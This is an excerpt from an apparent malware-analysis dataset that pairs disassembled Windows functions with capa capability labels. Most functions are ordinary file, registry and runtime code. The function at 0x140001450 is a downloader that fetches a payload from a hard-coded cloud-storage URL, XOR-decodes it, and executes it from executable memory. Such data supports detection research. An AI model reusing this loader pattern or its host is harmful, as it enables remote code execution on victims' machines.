joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ef90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x1c], 1
movsxd rdi, r8d
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x50], 0
jne 0x14000efda
mov edx, dword [rcx + 0x14]
mov rcx, qword [rcx]
mov r9d, 1
neg edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [rbx + 0x10]
mov dword [rbx + 0x1c], 0
mov dword [rbx + 0x14], eax
mov ecx, dword [rbx + 0x14]
cmp ecx, edi
jle 0x14000f016
mov eax, dword [rbx + 0x10]
mov edx, edi
sub eax, ecx
movsxd rcx, eax
add rcx, qword [rbx + 8]
dec edx
je 0x14000f00f
dec edx
je 0x14000f007
cmp edx, 2
je 0x14000f001
mov rdx, rsi
jmp 0x14000f064
mov eax, dword [rsi]
mov dword [rcx], eax
jmp 0x14000f06c
movzx eax, word [rsi]
mov word [rcx], ax
jmp 0x14000f06c
movzx eax, byte [rsi]
mov byte [rcx], al
jmp 0x14000f06c
mov rcx, rbx
call fcn.14000e610
mov r11d, dword [rbx + 0x10]
mov rdx, rsi
cmp edi, r11d
jl 0x14000f059
mov rcx, qword [rbx]
lea r9, [rsp + 0x50]
mov r8d, edi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
sub r11d, dword [rbx + 0x14]
movsxd rcx, r11d
add rcx, qword [rbx + 8]
mov r8, rdi
call sub.msvcrt.dll_memcpy
sub dword [rbx + 0x14], edi
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x140010260
Capabilities:
Hash data with crc32
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rdi
push r12
push r14
sub rsp, 0x58
or ebx, 0xffffffff
xor r12d, r12d
mov r14, r8
mov edi, 0x80000
test rcx, rcx
je 0x1400104cb
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400104c6
mov rcx, qword [0x140017a00]
xor edx, edx
mov r8d, edi
mov qword [rsp + 0x48], r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x1400104b8
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x50], rsi
test rax, rax
jle 0x140010313
lea r8, [rsp + 0x8c]
xor r9d, r9d
mov edx, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ebp, [r14 + 0x80000]
lea rsi, [0x140015b00]
add r12d, 0x80000
sub ebp, 0x80000
cmp r14, 0xffffffffffffffff
je 0x14001033d
movsxd rax, r12d
cmp rax, r14
cmovg edi, ebp
lea r9, [rsp + 0x80]
mov r8d, edi
mov rdx, r13
mov rcx, r15
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r10d, dword [rsp + 0x80]
mov r11, r13
mov r9d, r10d
cmp r10d, 8
jb 0x14001046b
mov esi, r10d
lea r10, [0x140015b00]
shr rsi, 3
nop word [rax + rax]
movzx ecx, byte [r11]
mov eax, ebx
shr ebx, 8
xor rcx, rax
add r11, 8
add r9d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r11 - 7]
mov edx, dword [r10 + rax*4]
xor edx, ebx
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 6]
mov r8d, dword [r10 + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 5]
mov edx, dword [r10 + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 4]
mov r8d, dword [r10 + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 3]
mov edx, dword [r10 + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 2]
mov r8d, dword [r10 + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 1]
mov edx, dword [r10 + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ebx, dword [r10 + rax*4]
xor ebx, edx
dec rsi
jne 0x140010390
mov r10d, dword [rsp + 0x80]
lea rsi, [0x140015b00]
test r9d, r9d
je 0x14001048c
movzx ecx, byte [r11]
mov eax, ebx
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov ebx, dword [rsi + rdx*4]
xor ebx, eax
dec r9d
jne 0x140010470
cmp r10d, 0x80000
je 0x140010321
mov rcx, qword [0x140017a00]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x90]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x48]
mov r15, qword [rsp + 0x40]
not ebx
movsxd rax, ebx
add rsp, 0x58
pop r14
pop r12
pop rdi
pop rbx
ret
or r8, 0xffffffffffffffff
xor edx, edx
jmp 0x140010260
Function at 0x1400104e0
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rdi
push r12
push r14
sub rsp, 0x58
or ebx, 0xffffffff
xor r12d, r12d
mov r14, r8
mov edi, 0x80000
test rcx, rcx
je 0x1400104cb
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400104c6
mov rcx, qword [0x140017a00]
xor edx, edx
mov r8d, edi
mov qword [rsp + 0x48], r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x1400104b8
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x50], rsi
test rax, rax
jle 0x140010313
lea r8, [rsp + 0x8c]
xor r9d, r9d
mov edx, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ebp, [r14 + 0x80000]
lea rsi, [0x140015b00]
add r12d, 0x80000
sub ebp, 0x80000
cmp r14, 0xffffffffffffffff
je 0x14001033d
movsxd rax, r12d
cmp rax, r14
cmovg edi, ebp
lea r9, [rsp + 0x80]
mov r8d, edi
mov rdx, r13
mov rcx, r15
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r10d, dword [rsp + 0x80]
mov r11, r13
mov r9d, r10d
cmp r10d, 8
jb 0x14001046b
mov esi, r10d
lea r10, [0x140015b00]
shr rsi, 3
nop word [rax + rax]
movzx ecx, byte [r11]
mov eax, ebx
shr ebx, 8
xor rcx, rax
add r11, 8
add r9d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r11 - 7]
mov edx, dword [r10 + rax*4]
xor edx, ebx
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 6]
mov r8d, dword [r10 + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 5]
mov edx, dword [r10 + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 4]
mov r8d, dword [r10 + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 3]
mov edx, dword [r10 + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 2]
mov r8d, dword [r10 + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 1]
mov edx, dword [r10 + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ebx, dword [r10 + rax*4]
xor ebx, edx
dec rsi
jne 0x140010390
mov r10d, dword [rsp + 0x80]
lea rsi, [0x140015b00]
test r9d, r9d
je 0x14001048c
movzx ecx, byte [r11]
mov eax, ebx
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov ebx, dword [rsi + rdx*4]
xor ebx, eax
dec r9d
jne 0x140010470
cmp r10d, 0x80000
je 0x140010321
mov rcx, qword [0x140017a00]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x90]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x48]
mov r15, qword [rsp + 0x40]
not ebx
movsxd rax, ebx
add rsp, 0x58
pop r14
pop r12
pop rdi
pop rbx
ret
or r8, 0xffffffffffffffff
xor edx, edx
jmp 0x140010260
Function at 0x100411cb0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
lea rcx, [0x100412270]
call 0x100411cb0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call 0x100411cd0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call 0x100411ce0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call 0x100411cf0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
add rsp, 0x28
jmp 0x100411d00
xor byte [rax], dh
xor dh, byte [rax]
xor byte [rax], dh
cmp eax, 0x5d303030
xor byte [rdi + 0x323030b0], ch
xor byte [rbp + 0x30], bl
scasd eax, dword [rdi]
mov al, 0x30
xor byte [rdx], dh
scasd eax, dword [rdi]
mov al, 0x31
scasd eax, dword [rdi]
mov al, 0x30
xor byte [rdx], dh
cmp byte [rax + 0x30323050], dh
xor byte [rax], dh
xor dword [rax], esi
xor dh, byte [rax]
xor byte [rax], dh
xor al, 0x30
xor byte [rax], dh
xor byte [rax], 0x30
xor byte [rax], dh
xor byte [rax], dh
lock xor byte [rax], r14b
xor byte [rdi], ch
xor byte [rbx], bh
xor byte [rbp - 0x7d], bh
test eax, 0x9a927fa3
xchg ebp, eax
xchg ebx, eax
movsb byte [rdi], byte [rsi]
movabs dword [0x3030303a3130354d], eax
xchg esp, eax
xor byte [rax], dh
xor byte [rax], dh
xor byte [rax], dh
xor byte [rdx + 0x30303030], dl
xor byte [rax], dh
xor byte [rax + rsi], bh
xor byte [rax], dh
xor dh, byte [rax]
xor byte [0x12f704cec], dh
xor byte [rax], dh
xor byte [rdx], dh
xor byte [rax], dh
xor eax, 0x2f2f2fe1
cmp dh, byte [rax]
xor byte [rax], dh
xor eax, 0x3f303030
xor byte [rax], dh
xor byte [0xaf70cc4c], bh
jge 0x100411ca1
mov dword [rbx + 0x757a727f], eax
jae 0x100411caa
xor dword [rax], 0xffffffaf
mov al, 0x30
xor byte [rdx], dh
scasd eax, dword [rdi]
mov al, 0x31
scasd eax, dword [rdi]
mov al, 0x30
xor byte [rdx], dh
xor rax, 0x30373130
xor byte [rax], dh
xchg ebp, eax
xor byte [rax], dh
xor byte [rax], dh
xor byte [rax], dh
xor byte [rbx + 0x30303030], cl
xor byte [rax], dh
xor byte [rax + rsi], bh
xor byte [rax], dh
xor dh, byte [rax]
xor byte [0x12f704d3c], dh
invalid
Function at 0x140005f40
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r14, qword [r9]
mov rdi, r9
mov eax, r14d
mov r15, r8
mov dword [rsp + 0x68], eax
mov rbp, rdx
cmp rax, r14
je 0x140005f77
mov ebx, 0x80070057
jmp 0x140005fbf
mov rbx, qword [rsp + 0x70]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9, r15
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x140005ff9
test rbx, rbx
je 0x140005fda
mov eax, dword [rsp + 0x68]
cmp rax, qword [rdi]
jbe 0x140005fda
mov ebx, 0x800700ea
mov qword [rdi], rax
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
mov eax, dword [rsp + 0x68]
mov r9, rdi
mov r8d, dword [r15]
mov rdx, r14
mov rcx, rbp
mov qword [rdi], rax
mov qword [rsp + 0x20], rbx
call fcn.140005e64
jmp 0x140005fc1
mov ebx, 0x80070002
cmp esi, ebx
jne 0x140006035
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x140005fbf
test byte [rcx + 0x1c], 4
je 0x140005fbf
mov rcx, qword [rcx + 0x10]
lea r8, [0x140013838]
mov edx, 0x15
mov r9, rbp
call fcn.140001510
jmp 0x140005fbf
mov ebx, 0x800700ea
cmp esi, ebx
je 0x14000607a
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x140006073
test byte [rcx + 0x1c], 1
je 0x140006073
mov rcx, qword [rcx + 0x10]
lea r8, [0x140013838]
mov edx, 0x16
mov dword [rsp + 0x20], esi
mov r9, rbp
call fcn.1400031ac
mov ebx, esi
jmp 0x140005fbf
mov eax, dword [rsp + 0x68]
cmp qword [rdi], rax
jb 0x140005fbc
mov ebx, 0x8000ffff
jmp 0x140005fbf

Function at 0x140006328
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
mov eax, r9d
cmp rax, r9
je 0x14000633d
mov eax, 0x80070057
jmp 0x1400063b4
mov rax, qword [rsp + 0x60]
lea rdx, str.BlockedLocation
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x1400063b2
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400063a1
test byte [rcx + 0x1c], 1
je 0x1400063a1
mov rcx, qword [rcx + 0x10]
lea r9, str.BlockedLocation
mov edx, 0x18
mov dword [rsp + 0x20], ebx
lea r8, [0x140013838]
call fcn.140005ca0
movzx eax, bx
or eax, 0x80070000
test ebx, ebx
cmovle eax, ebx
test eax, eax
js 0x1400063b4
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140006ed8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rdi, rdx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140006f41
call fcn.1400092c0
mov ebx, eax
lea ecx, [rax + 0x7ff8fffe]
cmp ecx, 1
jbe 0x140006f3d
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x140006f3d
test byte [rcx + 0x1c], 1
je 0x140006f3d
mov rcx, qword [rcx + 0x10]
lea r8, [0x140013860]
mov edx, 0x1e
mov dword [rsp + 0x20], ebx
mov r9, rdi
call fcn.1400031ac
mov eax, ebx
jmp 0x140006f45
mov dword [rbx], eax
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1400070f0
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
and qword [rdx], 0
lea rbp, [rcx + 0x28]
mov r14, rdx
mov rsi, rcx
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000713e
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140007137
call fcn.1400092c0
mov edi, eax
cmp eax, 0x80070012
jmp 0x1400071bf
xor edi, edi
jmp 0x1400071c1
mov r9, qword [rsi + 0x20]
lea rdx, str._ls_ls
mov r8, qword [rsi + 0x18]
lea rcx, [rsp + 0x40]
and qword [rsp + 0x40], 0
call fcn.140005774
mov ebx, eax
test eax, eax
js 0x1400071e9
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x140007181
cmp rcx, 0xffffffffffffffff
je 0x14000717c
call qword [sym.imp.KERNEL32.dll_FindClose]
and qword [rsi + 0x10], 0
mov rbx, qword [rsp + 0x40]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400071a6
call fcn.1400092c0
mov edi, eax
add eax, 0x7ff8fffe
jmp 0x1400071ac
mov qword [rsi + 0x10], rax
xor edi, edi
test rbx, rbx
je 0x1400071b9
mov rcx, rbx
call fcn.14000b8d4
cmp edi, 0x80070012
je 0x1400071e1
test edi, edi
js 0x1400071dd
test byte [rsi + 0x280], 2
je 0x1400071d8
test byte [rbp], 0x10
jne 0x140007110
mov qword [r14], rbp
jmp 0x1400071e5
mov eax, edi
jmp 0x1400071fa
and qword [r14], 0
xor eax, eax
jmp 0x1400071fa
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400071f8
call fcn.14000b8d4
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x1400072ac
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, dword [rdx]
mov rdi, r8
mov rsi, rdx
mov r8d, ebx
mov rdx, rdi
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor edx, edx
mov r9d, eax
test eax, eax
jne 0x140007320
call fcn.1400092c0
mov ebx, eax
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x14000731c
test byte [rcx + 0x1c], 1
je 0x14000731c
mov rcx, qword [rcx + 0x10]
lea r8, [0x140013860]
mov edx, 0x27
mov dword [rsp + 0x20], ebx
mov r9, rbp
call fcn.1400031ac
mov eax, ebx
jmp 0x140007342
cmp r9d, ebx
ja 0x140007336
lea eax, [r9 - 1]
cmp word [rdi + rax*2], dx
je 0x14000733d
mov eax, 0x8000ffff
jmp 0x140007342
test ebx, ebx
je 0x14000733d
mov word [rdi], dx
mov qword [rsi], r9
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14000b354
Capabilities:
Parse pe header

Disassembly:
test cx, cx
jne 0x14000b438
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, 0x5a4d
mov rdi, rcx
cmp word [rcx], ax
jne 0x14000b42e
test byte [rcx + 0x3c], 3
jne 0x14000b42e
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000b42e
cmp dword [rdx + 0x84], 6
jb 0x14000b42e
mov r8d, dword [rdx + 0x50]
mov r9d, dword [rdx + 0xb8]
lea eax, [r8 - 1]
lea ecx, [r9 - 1]
cmp ecx, eax
jae 0x14000b42e
mov ecx, dword [rdx + 0xbc]
mov eax, r8d
sub eax, r9d
cmp ecx, eax
ja 0x14000b42e
movabs rax, 0x2492492492492493
lea r10, [rdi + r9]
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 4
test ecx, ecx
je 0x14000b42e
dec ecx
mov eax, ecx
imul rbx, rax, 0x1c
add rbx, r10
cmp dword [rbx + 0xc], 2
jne 0x14000b3e7
cmp dword [rbx + 0x14], r8d
jae 0x14000b3e7
mov eax, r8d
sub eax, dword [rbx + 0x14]
cmp dword [rbx + 0x10], eax
ja 0x14000b3e7
mov edx, 0x1c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualLock]
test eax, eax
je 0x14000b42e
mov ecx, dword [rbx + 0x14]
mov edx, dword [rbx + 0x10]
add rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualLock]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000b6ec
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000b990
test al, al
je 0x14000b84d
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.14000b954
mov bl, al
mov ecx, dword [0x140018a50]
cmp ecx, 1
je 0x14000b858
test ecx, ecx
jne 0x14000b779
mov dword [0x140018a50], 1
lea rdx, [0x1400128e8]
lea rcx, [0x1400128b8]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x14000b75a
mov eax, 0xff
jmp 0x14000b83d
lea rdx, [0x1400128b0]
lea rcx, [0x140012880]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x140018a50], 2
jmp 0x14000b781
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.14000bb00
call fcn.14000bca0
mov rbx, rax
cmp qword [rax], 0
je 0x14000b7be
mov rcx, rax
call fcn.14000ba68
test al, al
je 0x14000b7be
movabs r10, 0x99012e4578d92870
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x140012870]
call fcn.14000bca8
mov rbx, rax
cmp qword [rax], 0
je 0x14000b7e0
mov rcx, rax
call fcn.14000ba68
test al, al
je 0x14000b7e0
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_wide_environment
mov rdi, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv
mov rbx, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call main
mov ebx, eax
call fcn.14000be0c
test al, al
je 0x14000b862
test sil, sil
jne 0x14000b817
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.14000bb24
mov eax, ebx
jmp 0x14000b83d
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.14000bcb8
nop
mov ecx, 7
call fcn.14000bcb8
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.14000bbac
add rsp, 0x28
jmp 0x14000b6ec
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rdi
sub rsp, 0x30
call fcn.1400013a0
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000162c
lea rdx, str.URLDownloadToFileA
mov rcx, rax
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400014aa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x50]
mov eax, 1
add rsp, 0x30
pop rdi
ret
lea rcx, str.5.txt
mov qword [rsp + 0x40], rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
cmp eax, 0xffffffff
jne 0x1400014e1
lea r8, str.5.txt
lea rdx, str.https:__wwwasdqweqwewqe137_1328290234.cos.ap_chongqing.myqcloud.com_137.txt
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call rsi
test eax, eax
js 0x140001507
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001a4d8]
lea rcx, str.5.txt
call fcn.1400033b0
mov rsi, rax
test rax, rax
jne 0x140001515
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001622
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x48], rbp
lea r8d, [rdx + 2]
mov qword [rsp + 0x58], r14
call fcn.140003af0
mov rcx, rsi
call fcn.1400039ec
xor r8d, r8d
xor edx, edx
mov rcx, rsi
movsxd rbp, eax
call fcn.140003af0
mov rcx, rbp
call fcn.1400030b8
mov r14, rax
test rax, rax
jne 0x140001562
mov rcx, rsi
call fcn.140003c3c
jmp 0x14000160f
mov r9, rsi
mov r8, rbp
mov edx, 1
mov rcx, rax
call fcn.1400035dc
mov rcx, rsi
call fcn.140003c3c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbp, rbp
je 0x1400015d2
movabs r8, 0x2492492492492493
lea r9, str.XDCY1XD
nop
mov rcx, rbx
mov rax, r8
mul rbx
mov rax, rbx
inc rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14 - 1], al
cmp rbx, rbp
jb 0x1400015a0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140002b10
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.140003078
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbp, qword [rsp + 0x48]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400e5320]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400e5330]
mov dword [rax], 1
mov rax, qword [0x1400e5340]
mov dword [rax], 1
mov rax, qword [0x1400e52c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400e5310]
mov dword [0x1400fa00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010b0
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400e53f0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400e53d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400e5270]
cmp dword [rax], 1
je 0x1400010f1
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001104
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a